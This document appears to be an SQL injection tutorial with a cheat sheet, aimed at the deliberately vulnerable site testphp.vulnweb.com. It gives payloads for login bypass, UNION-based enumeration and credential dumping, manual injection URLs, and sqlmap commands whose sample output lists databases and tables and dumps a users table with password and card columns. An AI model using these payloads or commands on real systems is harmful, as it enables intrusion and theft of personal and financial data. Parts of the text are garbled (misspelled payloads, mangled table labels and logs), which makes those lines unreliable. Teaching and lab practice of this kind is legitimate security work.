### **SQL** Injection:

SQL Injection (SQLi) is one of the most dangerous and commonly exploited vulnerabilities in web applications. It occurs when user input is improperly handled, allowing attackers to manipulate backend SQL queries and directly interact with the database.

### Six (6) Types of SQL Injection:

| # | Туре                | Example Area                      |                                 |
|---|---------------------|-----------------------------------|---------------------------------|
| 1 | Error-Based SQLi    | Product ID parameter              | ' shows SQL error               |
| 2 | Union-Based SQLi    | Product detail pages              | UNION SELECT null,<br>version() |
| 3 | Boolean-Based Blind | Login form                        | AND 1=1 vs. AND 1=2             |
| 4 | Time-Based Blind    | Login or search                   | sqlmaptechnique=T               |
| 5 | Stacked Queries     | Not always allowed (but can test) | ; SELECT sleep(5)               |
| 6 | Login Bypass SQLi   | Login page (userinfo.php)         | ' OR 1=1 on login form          |

Goal

# **Payload Example**

| Authentication<br>Bypass | ' OR '1'-'1'-  |  |
|--------------------------|--|--|
| Get DB Version           | UNION SEMECT NULL, version()   |  |
| II 1cf Lablec            | UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema=database() |  |
| II 1ct ( Allimne         | UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users'    |  |
| Dump Credentials         | UNION SELECT username, password FROM users   |  |

#### Manual SQL injection check

#### 1. Error-Based SQL Injection

Step 1: Visit <a href="http://testphp.vulnweb.com/artists.php?artist=1">http://testphp.vulnweb.com/artists.php?artist=1</a>

Step 2: <a href="http://testphp.vulnweb.com/artists.php?artist=1">http://testphp.vulnweb.com/artists.php?artist=1</a> (Inject a single quote ')

Result: You'll see a MySQL error, This confirms it's vulnerable to SQL Injection.

### 2. Union-Based SQL Injection

Step 1: Visit <a href="http://testphp.vulnweb.com/artists.php?artist=1">http://testphp.vulnweb.com/artists.php?artist=1</a>

Step 2: Try payload: UNION SELECT null, version()--

http://testphp.vulnweb.com/artists.php?artist=1 UNION SELECT null, version()—

if not working used

http://testphp.vulnweb.com/artists.php?artist=1 ORDER BY 1--

http://testphp.vulnweb.com/artists.php?artist=1 ORDER BY 2--

http://testphp.vulnweb.com/artists.php?artist=1 ORDER BY 3--

http://testphp.vulnweb.com/artists.php?artist=1 ORDER BY 4—

http://testphp.vulnweb.com/artists.php?artist=-1 UNION SELECT 1,2,3--

http://testphp.vulnweb.com/artists.php?artist=-1 UNION SELECT 1,version(),3-sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch --banner

### 3. Boolean-Based Blind SQL Injection

Step 1: http://testphp.vulnweb.com/artists.php?artist=1 AND 1=1

Step 2: http://testphp.vulnweb.com/artists.php?artist=1 AND 1=2

Result: If the first shows content and the second does not, it's boolean-blind SQLi.

#### 4. Time-Based Blind SQL Injection

This one is harder to confirm manually, but tools like sqlmap help.

Step1: sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --technique=T -

-batch --time-sec=5

**Result:** If there's a delay in response, it confirms time-based blind SQLi.

#### 5. Stacked Queries (Multiple Statements)

Step 1: <a href="http://testphp.vulnweb.com/artists.php?artist=1;SELECT+sleep(5)--">http://testphp.vulnweb.com/artists.php?artist=1;SELECT+sleep(5)--</a> (if not working try SQLMAP

Step 2 : sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --technique=S --batch

(if not working)

Step 3: sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch --random-agent --level=5 --risk=3 --dump

#### 6. SQL Injection Login Bypass

Step 1: go to: <a href="http://testphp.vulnweb.com/userinfo.php">http://testphp.vulnweb.com/userinfo.php</a>
Try:

✓ Username: 'OR 1=1--✓ Password: anything

# **Automating SQL Injection with SQLMap:**

Website: http://testphp.vulnweb.com/artists.php?artist=1

Step 1: http://testphp.vulnweb.com/artists.php?artist=1'

Step 2 : sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch

Note:

```
-u: target URL -dbs: fetch database name -batch: This will leave sqlmap to go with default behavior whenever user's input would be required

[05:44:53] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.10
back-end DBMS: MySQL >= 5.0.12
[05:44:53] [INFO] fetching database names [05:44:53] [INFO] the SQL query used returns 2 entries
[05:44:53] [INFO] retrieved: information_schema
[05:44:54] [INFO] retrieved: acuart
available databases [2]:
[*] acuart
[*] information_schema

[05:44:54] [INFO] fetched data logged to text files under

[*] shutting down at 05:44:54
```

Step 3 : sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables -- batch

**-D:** DBMS database to enumerate (fetched database name)

**-tables:** enumerate DBMS database table

```
[05:47:56] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.10
back-end DBMS: MySQL >= 5.0.12
[05:47:56] [INFO] fetching tables for database: 'acuart'
05:47:56]
           [INFO] the SQL query used returns 8 entries
05:47:571
           [INFO] retrieved: artists
           [INFO] retrieved: carts
05:47:57] [INFO] retrieved: categ
05:47:57] [INFO] retrieved: featured
05:47:57] [INFO] retrieved: guestbook
05:47:58] [INF0] retrieved: pictures
05:47:58] [INF0] retrieved: products
05:47:58] [INFO] retrieved: users
Database: acuart
[8 tables]
 artists
 carts
 categ
 featured
 questbook
 pictures
 products
 users
```

Step 4 : sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users -- columns --batch

Note:

```
-T: DBMS table to enumerate (fetched table name)
-columns: enumerate DBMS database columns
root@kali:~# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart
-T users --columns --batch
Database: acuart
 Table: users
 [8 columns]
   Column
               Type
               mediumtext
varchar(100)
   address
   cart
   CC
               varchar(100)
   email
               varchar(100)
               varchar(100)
   name
               varchar(100)
   pass
   phone
               varchar(100)
               varchar(100)
   uname
```

**Step 5**: sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users -- dump --batch

**Step 6**: sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -- dump-all --batch

## **Fully Automated SQL Injection:**

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch --random-agent --dump